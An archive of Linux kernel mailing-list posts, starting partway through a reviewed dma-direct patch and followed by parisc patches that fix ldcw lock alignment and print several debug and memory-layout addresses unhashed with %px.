> +		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
>  	} else {
>  		int ret = dma_release_from_global_coherent(get_order(size),
>  							   cpu_addr);
> diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
> index 10e924b7cba7..4788bf0bf683 100644
> --- a/include/linux/dma-direct.h
> +++ b/include/linux/dma-direct.h
> @@ -38,4 +38,9 @@ static inline void dma_mark_clean(void *addr, size_t size)
>  }
>  #endif /* CONFIG_ARCH_HAS_DMA_MARK_CLEAN */
>  
> +void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
> +		gfp_t gfp, unsigned long attrs);
> +void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
> +		dma_addr_t dma_addr, unsigned long attrs);
> +
>  #endif /* _LINUX_DMA_DIRECT_H */
> diff --git a/lib/dma-direct.c b/lib/dma-direct.c
> index f8467cb3d89a..7e913728e099 100644
> --- a/lib/dma-direct.c
> +++ b/lib/dma-direct.c
> @@ -33,8 +33,8 @@ static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
>  	return phys_to_dma(dev, phys) + size <= dev->coherent_dma_mask;
>  }
>  
> -static void *dma_direct_alloc(struct device *dev, size_t size,
> -		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
> +void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
> +		gfp_t gfp, unsigned long attrs)
>  {
>  	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
>  	int page_order = get_order(size);
> @@ -71,7 +71,7 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
>  	return page_address(page);
>  }
>  
> -static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
> +void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
>  		dma_addr_t dma_addr, unsigned long attrs)
>  {
>  	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
> 

Reviewed-by: Vladimir Murzin <vladimir.murzin@arm.com>

Thanks
Vladimir

From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix alignment of pa_tlb_lock in assembly on 32-bit
 SMP kernel
Date: Tue, 2 Jan 2018 20:36:44 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <20180102193644.GA23323@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1514921703 13848 195.159.176.226 (2 Jan 2018 19:35:03 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 19:35:03 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 02 20:34:59 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eWSKo-0006ZE-VK
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Jan 2018 20:34:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751381AbeABTgy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 2 Jan 2018 14:36:54 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:63338 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751226AbeABTgx (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 2 Jan 2018 14:36:53 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.7]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MfAog-1eGPWG1ZO6-00Onqk; Tue, 02
 Jan 2018 20:36:46 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:thxnATNpyr4MUBMko+sA8ke6sLWYxIk1V5HjAY8Lz2Nof4lOFvK
 3LYGM6xuUrT8/uVi/EpjzYH3/2nbZiF6vj8JSmFQ/PeH/h6Zbcwcj7gOe+0fwtTEFZSfWlw
 NcOdrn0z3sDoTL/nB13QZTordZkBioEqq4iXBYs1XduRJ+hFtwd2BZa13Gxh395Llxaz4V5
 5D2lv40+szSxL9m4oDHXw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Jd0SpDIvw6w=:dPYgywovEX6gkCxwaezHj+
 +NgiuFIm9AuE7AgtHoy83ZQW+pzGOeZ7QoP9K0MBY8FmdUTaoZpXV0Nrgx9oQKZqyuV8VUIhT
 j+fNj0r6I8VQeHLobusCw8iO1D579p+QoMa+A+xqaSozLOjNU1lFo12BpLSPUXIw+7ufxA3V3
 j2xpbZDTTfR/2kWoMKYahL1RIeOBpqmTVYOG8WlyFTUZF6id7jIK8X/uqfvw5w6yQigHoLrbE
 t2Lh9JnW/2xGMnXDS+RprBOWxk2ync7so8Rnr7y0xysjKV2ucPhJ3tuLoHSVa3K24+f4/sclI
 ahp/SuT9U+H5FD3wg7b8QPfvDR7GnSRBGqg3XXZ7gljV+F9CjvtYVI7yJ7SFrMsMq4qdJHWtq
 Sz8djq5p6NIVO++aBAgAnJGFQlSQGaB6WXiRtjIdKGTufhYlRImB5uN9lw7da7fBr+xTTDrrY
 9JQiqflFrNihTBxIxFeq/URYSMMbyvgObUcub0JN7iOqA/GeJlYoJeHrn7FxKUZr+xiD2YESV
 mgzkurd1WtFBa033dPGbwT1Q3UeLZX9NQeCXawyIWOBYAQVPc3eAWhKsU58NIXrg9tTjnGLTd
 aHcwtAkUkf29rly1vT4F9LstjdErf8IY3htFF0MNRSs7XsWuT/j2Svm2R+OhhJOmxdtYwdZTf
 2ed2yn9TjvehMyB1JZxoJYZ2cs4tn6alT9PScM5kOxnyk+SMgkoyY3mfFexdiE1ZTTL3bWiCF
 dyi0nZjvT5ikZYB+roHfVO1qRJ7wo/6tFBz1FPdey6ecUVwnc/9XzmPmfK7YKHOyuPkHconM 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28147
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28147>

Qemu for PARISC reported on a 32bit SMP parisc kernel strange failures
with "Not-handled unaligned insn 0x0e8011d6 and 0x0c2011c9."

Those opcodes evaluate to the ldcw() assembly instruction which requires
(on 32bit) an alignment of 16 bytes to ensure atomicity.

As it turns out, qemu is correct and in our assembly code in entry.S and
pacache.S we don't pay attention to the required alignment.

This patch fixes the problem by aligning the lock offset in assembly
code in the same manner as we do in our C-code.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: <stable@vger.kernel.org>

diff --git a/arch/parisc/include/asm/ldcw.h b/arch/parisc/include/asm/ldcw.h
index dd5a08aaa4da..3eb4bfc1fb36 100644
--- a/arch/parisc/include/asm/ldcw.h
+++ b/arch/parisc/include/asm/ldcw.h
@@ -12,6 +12,7 @@
    for the semaphore.  */
 
 #define __PA_LDCW_ALIGNMENT	16
+#define __PA_LDCW_ALIGN_ORDER	4
 #define __ldcw_align(a) ({					\
 	unsigned long __ret = (unsigned long) &(a)->lock[0];	\
 	__ret = (__ret + __PA_LDCW_ALIGNMENT - 1)		\
@@ -29,6 +30,7 @@
    ldcd). */
 
 #define __PA_LDCW_ALIGNMENT	4
+#define __PA_LDCW_ALIGN_ORDER	2
 #define __ldcw_align(a) (&(a)->slock)
 #define __LDCW	"ldcw,co"
 
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index f3cecf5117cf..e95207c0565e 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -35,6 +35,7 @@
 #include <asm/pgtable.h>
 #include <asm/signal.h>
 #include <asm/unistd.h>
+#include <asm/ldcw.h>
 #include <asm/thread_info.h>
 
 #include <linux/linkage.h>
@@ -46,6 +47,14 @@
 #endif
 
 	.import		pa_tlb_lock,data
+	.macro  load_pa_tlb_lock reg
+#if __PA_LDCW_ALIGNMENT > 4
+	load32	PA(pa_tlb_lock) + __PA_LDCW_ALIGNMENT-1, \reg
+	depi	0,31,__PA_LDCW_ALIGN_ORDER, \reg
+#else
+	load32	PA(pa_tlb_lock), \reg
+#endif
+	.endm
 
 	/* space_to_prot macro creates a prot id from a space id */
 
@@ -457,7 +466,7 @@
 	.macro		tlb_lock	spc,ptp,pte,tmp,tmp1,fault
 #ifdef CONFIG_SMP
 	cmpib,COND(=),n	0,\spc,2f
-	load32		PA(pa_tlb_lock),\tmp
+	load_pa_tlb_lock \tmp
 1:	LDCW		0(\tmp),\tmp1
 	cmpib,COND(=)	0,\tmp1,1b
 	nop
@@ -480,7 +489,7 @@
 	/* Release pa_tlb_lock lock. */
 	.macro		tlb_unlock1	spc,tmp
 #ifdef CONFIG_SMP
-	load32		PA(pa_tlb_lock),\tmp
+	load_pa_tlb_lock \tmp
 	tlb_unlock0	\spc,\tmp
 #endif
 	.endm
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index adf7187f8951..949624f926ad 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -36,6 +36,7 @@
 #include <asm/assembly.h>
 #include <asm/pgtable.h>
 #include <asm/cache.h>
+#include <asm/ldcw.h>
 #include <linux/linkage.h>
 
 	.text
@@ -333,8 +334,12 @@ ENDPROC_CFI(flush_data_cache_local)
 
 	.macro	tlb_lock	la,flags,tmp
 #ifdef CONFIG_SMP
-	ldil		L%pa_tlb_lock,%r1
-	ldo		R%pa_tlb_lock(%r1),\la
+#if __PA_LDCW_ALIGNMENT > 4
+	load32		pa_tlb_lock + __PA_LDCW_ALIGNMENT-1, \la
+	depi		0,31,__PA_LDCW_ALIGN_ORDER, \la
+#else
+	load32		pa_tlb_lock, \la
+#endif
 	rsm		PSW_SM_I,\flags
 1:	LDCW		0(\la),\tmp
 	cmpib,<>,n	0,\tmp,3f
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Show unhashed hardware inventory
Date: Tue, 2 Jan 2018 20:40:21 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20180102194021.GA26468@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1514921917 32692 195.159.176.226 (2 Jan 2018 19:38:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 19:38:37 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 02 20:38:32 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eWSOK-0007pb-4f
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Jan 2018 20:38:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751463AbeABTkb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 2 Jan 2018 14:40:31 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:62531 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751127AbeABTka (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 2 Jan 2018 14:40:30 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.7]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MMBiP-1eZVta334n-0086Ac; Tue, 02
 Jan 2018 20:40:23 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:SbXBT7L6Dz6btu0lbUHQkrpL9p0VXLgyxA7zn5FRcwejqqYrIxw
 VrSa9KU5N7pkaL1DtpZPX4MY250F6/NeK2NVqDkiXllW7jGTRXkM4AFH7QoGpWbuCyBFXqs
 VbUNdJASo71ltX2pPXGKbWn6+2ueSYh49FJzf6KLUFkKavXCk9wxY257tYfac3v922sVlF1
 3+/mKh4qtwcI1bUCgjnWQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Wvl201QCjVg=:JTWoH5MShmbJnazsXgP2HV
 WsUhV82d0KJrS9U9CMGODfXaD6jrImjRkKmRHHJsagKpVXJWC6kD+uo13OBG/QWYRgKGPWsg9
 nDXwrNXK7xX2oXuuyfBVG/rAI87COf2nayAJQE7bbblnhxyTHxsCVNA6PpZ7lzNscFYUimUsh
 w2PGx7okwseyLUZoCafZmi3k3FseuPUCq/JwYWSnl958bDCgP79gLFFKTMs/vLA8aQhdgtElc
 q8MX9K7f9RGggy3RVxajMx9OdXoBuwCGxRdpM0b0hdoTdLkS8qsW2gLrOw4rz9kXPDLP04gDW
 5GGamgc15Vw7Lxe82O5ouAyyCHuiaZGbEnuHBSSeW2phchRLGUCXmY+E6CWiHGb6B3VaOp69G
 unUMCmOJ4lBJCNsAlhmFkebWx/13FlzCtpOK1kBqInOBneR8816Yg75r0QJXacajzCsyEm+pT
 0WRgO/z6VR+p18fKs1t4GjZ+TR4nGsVT4lVVD6nuD+2P2p4Febd82x7IucWhc8DfRlH+g7Txp
 2rdaIn2cO99KRU2ICOdGWw+wuD0GHN/JLR2snDsL9uvygU6bKAhzGcvicsh2EVpDZlRC1asp8
 ufSq5yjF+lJnLQxsOFtbK6KU5y/EwITVqzvmCqMas4NU1yVO/ZMqXjL2Oo8pMpSTglRjZSwam
 hhq/aWE+2wHq1uZIqbbRCmFNXpcj0236RF0UEkW+piUr7YgU1f65RLSuaNziXfgP049cToBIi
 gvcV/T3qijC1qFbVWoLAtKr5vZ1FkdW4KU+a7uUUzKpdF9wAGVv639xgs6NFAENejoyqqf0e 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28148
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28148>

Fixes: ad67b74d2469d9b8 ("printk: hash addresses printed with %p")
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index d8f77358e2ba..29b99b8964aa 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -870,7 +870,7 @@ static void print_parisc_device(struct parisc_device *dev)
 	static int count;
 
 	print_pa_hwpath(dev, hw_path);
-	printk(KERN_INFO "%d. %s at 0x%p [%s] { %d, 0x%x, 0x%.3x, 0x%.5x }",
+	printk(KERN_INFO "%d. %s at 0x%px [%s] { %d, 0x%x, 0x%.3x, 0x%.5x }",
 		++count, dev->name, (void*) dev->hpa.start, hw_path, dev->id.hw_type,
 		dev->id.hversion_rev, dev->id.hversion, dev->id.sversion);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Show initial kernel memory layout unhashed
Date: Tue, 2 Jan 2018 20:42:59 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20180102194259.GA27242@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1514922074 6148 195.159.176.226 (2 Jan 2018 19:41:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 19:41:14 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 02 20:41:10 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eWSQs-0008TA-Iw
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Jan 2018 20:41:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751436AbeABTnK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 2 Jan 2018 14:43:10 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:55694 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751357AbeABTnJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 2 Jan 2018 14:43:09 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.7]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0LymjL-1f1JZ31TZH-0169m8; Tue, 02
 Jan 2018 20:43:02 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:2xV59DFVkuOxUvzu6PxuhT1KXb6DAIWm4Vtuow/wMVxdDKo9ukb
 hqs2/NgwAdisgIu15lAm3r2ZxFaIjwbJoXctB2vmjdDqK/N8JaW+HcvlhJzLuR62CSFK8IP
 Bh3gRYlNlQ15ZISLj9/PUdKtaRH6P+QU40DlhlY3qXbhZHbBV98IiQB10CcZ+C6NxBOcW8v
 ZzvZPub1sZ3C6CG/DnJ2Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TRBj0TTbZQM=:SM96htXr8wikLM45t/TM81
 mPvgoDPJeCt4kFY9H83ZWYyeoD2Fg0A85YeugFApkQhSdykRPJ60hUr2ylGKYuwmG35j7rFg7
 61DlYReFJYs6t9kbaF6MSeWile7XgNxcFKfXslz7hTcYVVDhwbEXSoTpX0R91n/otc7SnlwRU
 mvuRTrHIPzdUlIxlxEYVPgiXo1gjXjgarQ3i1KnArv4Q7xwsAhb4twyoCIhOUpBJyecGjYSNy
 h68k1JxGQ3LL7h+wyOaBtS2R50G1QwfYB5oGgDt9gaNHb2iIjGqoUv06hVl7pkpvW5iaLbHEw
 wPZrv1vYcPQWHstLkcHzik7hV3wboZ2LpX3N979+CkNX7aqKI7p1cxwslpegePnm1LfUYNtTp
 UMq3asDHJLK3SBcgKiPsKe+lLtyB/qrtcXSSnhJJTQPMYjiHfCmYaGzDCcngb+v7uP7ILx4qm
 6V5oZwI69MbmJfEnzyhNYW6Nb8wNxmK84MYw6AANgRc5+VKNU5DTIREjXQRP4iRuINAGOHFC1
 +Z53eLJ5cM/fVCvT4YFPb+MJVTzMtqyr3CQt7+GS+8QSrDpkc9KtIX+9S7Pbl6GsqO0CuFidF
 QjkiIRGUUvAWkHYazC4S954BN4SMSfGrJShErceHnGlXcShBZTNQ4EoWVIOlemDwe9OGZgi64
 cphBrvtkRcOkLWRtcAgqPTJ6PPim65h1Pv1P2Q021bdcx9PqJfC5pnK186REG1GVnRAksiqma
 Q+MXM08i6GVmTnS9ORK0jH28yo+UE7TIAPuRr1WQNCynnQ6Qc0Puxm061WMKDdkiL6TckzfS 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28149
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28149>

Fixes: ad67b74d2469d9b8 ("printk: hash addresses printed with %p")
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 13f7854e0d49..48f41399fc0b 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -631,11 +631,11 @@ void __init mem_init(void)
 	mem_init_print_info(NULL);
 #ifdef CONFIG_DEBUG_KERNEL /* double-sanity-check paranoia */
 	printk("virtual kernel memory layout:\n"
-	       "    vmalloc : 0x%p - 0x%p   (%4ld MB)\n"
-	       "    memory  : 0x%p - 0x%p   (%4ld MB)\n"
-	       "      .init : 0x%p - 0x%p   (%4ld kB)\n"
-	       "      .data : 0x%p - 0x%p   (%4ld kB)\n"
-	       "      .text : 0x%p - 0x%p   (%4ld kB)\n",
+	       "    vmalloc : 0x%px - 0x%px   (%4ld MB)\n"
+	       "    memory  : 0x%px - 0x%px   (%4ld MB)\n"
+	       "      .init : 0x%px - 0x%px   (%4ld kB)\n"
+	       "      .data : 0x%px - 0x%px   (%4ld kB)\n"
+	       "      .text : 0x%px - 0x%px   (%4ld kB)\n",
 
 	       (void*)VMALLOC_START, (void*)VMALLOC_END,
 	       (VMALLOC_END - VMALLOC_START) >> 20,
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Show unhashed HPA of Dino chip
Date: Tue, 2 Jan 2018 20:45:42 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <20180102194542.GA27739@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1514922244 14141 195.159.176.226 (2 Jan 2018 19:44:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 2 Jan 2018 19:44:04 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 02 20:43:59 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eWSTU-0001Rd-1i
	for glpp-linux-parisc@m.gmane.org; Tue, 02 Jan 2018 20:43:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751127AbeABTpv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 2 Jan 2018 14:45:51 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:56410 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751014AbeABTpu (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 2 Jan 2018 14:45:50 -0500
Original-Received: from ls3530.fritz.box ([193.159.16.7]) by mail.gmx.com (mrgmx003
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MhiTL-1eINrv0lyF-00MsyU; Tue, 02
 Jan 2018 20:45:44 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:LA4i18HYm8KXxm+i4piHRu09HYpfvU4eZOtOgGJU5URI7i/a9fS
 UjCRQpdGJjbLDETYC3nMmLlaUvXmCtAJrnGjh5RWgWPVolmtQuk4bhccizmDv9/25NDc+zs
 RWCF6KZhCfkI/o7h0+cUDP8Qi6bOpFiarOZoP8Vuo3OL0Bju0k7F0zZziDhws4dW6tl47EA
 Uv5rUnEtG+/ocGnZFA8lw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:0KeeOD+5LUQ=:BuKBE6ln7FZWXk7cXAGF83
 oC9oOQ87LGyoNPquHxFh/r/MzbZwNaWs8CwXwiGZV7zIaMr0Upnu5D34YyxQpY0oz05EdlY2L
 MO0wrDqg827Vw+r8Q1Jci6tyqA2f+BogVIH/UHN1VowvYCYdp2OsqBnPZCj376zYTfWFbF0FW
 FuoFzmaIIVKHGkvH6xSUVpyJHOoQmxJIfOQlo6Y4jDiqw4Dc1vrmgSGb7AtzmoV3zpNn5Wdm+
 yjKMRZLkIfBcEc/KO4B/HISAOhPYs1HE5y1dwwLbdhMimoMKreDkjjPhh/OXSunBAJUkznFXv
 +Ox8RTdPYnMvXG4UgY+DBBtITUvRdNtaQDMh1ZFbaMQz4jQ8LR+ljnL6Z9ggkKMzns4ERlqGZ
 Fmw5SMEChtGD4qKpjwY+LLEJ2pnX3+JjAxwPqxTFYbiuL2bblv30klUobJVRWPZmtRTRMzjIe
 uAIbweTg4jVZG5Q/6g5LaJr1JBUhcNE2Cf/qTpx2bmZT12/mbgZtHG946YGel6A9YaVIjFb0v
 OidxCT5lWvwQk7W+kqkAbxdL1gE0DeJEPfkA+rQNhW41Yu4qgA7KZZWcZFXxjEp7RIgs0HZYk
 OCpLl2L577V7nc0ZRiER08GspmDhy4ka9waH9EXL5LEOKiwiIQldBPzsIp4Yu4TqP/Soi9TQX
 8hdv/YCbSOr4qaZxJhnXG27YKL+DtFjIXItj2WXQkI8E2bhpJhkOkd4WDmMB3RhDXiZVe0PXX
 suExNR1NwNqr4GfUQDlulnu54SyHA4huJfOdwyz6Koz28nrSsk9PJBkz6gEWFRwt32JHt1fZ 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28150
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28150>

Fixes: ad67b74d2469d9b8 ("printk: hash addresses printed with %p")
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 0b3fb99d9b89..7390fb8ca9d1 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -303,7 +303,7 @@ static void dino_mask_irq(struct irq_data *d)
 	struct dino_device *dino_dev = irq_data_get_irq_chip_data(d);
 	int local_irq = gsc_find_local_irq(d->irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
 
-	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, d->irq);
+	DBG(KERN_WARNING "%s(0x%px, %d)\n", __func__, dino_dev, d->irq);
 
 	/* Clear the matching bit in the IMR register */
 	dino_dev->imr &= ~(DINO_MASK_IRQ(local_irq));
@@ -316,7 +316,7 @@ static void dino_unmask_irq(struct irq_data *d)
 	int local_irq = gsc_find_local_irq(d->irq, dino_dev->global_irq, DINO_LOCAL_IRQS);
 	u32 tmp;
 
-	DBG(KERN_WARNING "%s(0x%p, %d)\n", __func__, dino_dev, d->irq);
+	DBG(KERN_WARNING "%s(0x%px, %d)\n", __func__, dino_dev, d->irq);
 
 	/*
 	** clear pending IRQ bits
@@ -396,7 +396,7 @@ static irqreturn_t dino_isr(int irq, void *intr_dev)
 	if (mask) {
 		if (--ilr_loop > 0)
 			goto ilr_again;
-		printk(KERN_ERR "Dino 0x%p: stuck interrupt %d\n", 
+		printk(KERN_ERR "Dino 0x%px: stuck interrupt %d\n",
 		       dino_dev->hba.base_addr, mask);
 		return IRQ_NONE;
 	}
@@ -553,7 +553,7 @@ dino_fixup_bus(struct pci_bus *bus)
         struct pci_dev *dev;
         struct dino_device *dino_dev = DINO_DEV(parisc_walk_tree(bus->bridge));
 
-	DBG(KERN_WARNING "%s(0x%p) bus %d platform_data 0x%p\n",
+	DBG(KERN_WARNING "%s(0x%px) bus %d platform_data 0x%px\n",
 	    __func__, bus, bus->busn_res.start,
 	    bus->bridge->platform_data);
 
@@ -854,7 +854,7 @@ static int __init dino_common_init(struct parisc_device *dev,
 	res->flags = IORESOURCE_IO; /* do not mark it busy ! */
 	if (request_resource(&ioport_resource, res) < 0) {
 		printk(KERN_ERR "%s: request I/O Port region failed "
-		       "0x%lx/%lx (hpa 0x%p)\n",
+		       "0x%lx/%lx (hpa 0x%px)\n",
 		       name, (unsigned long)res->start, (unsigned long)res->end,
 		       dino_dev->hba.base_addr);
 		return 1;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
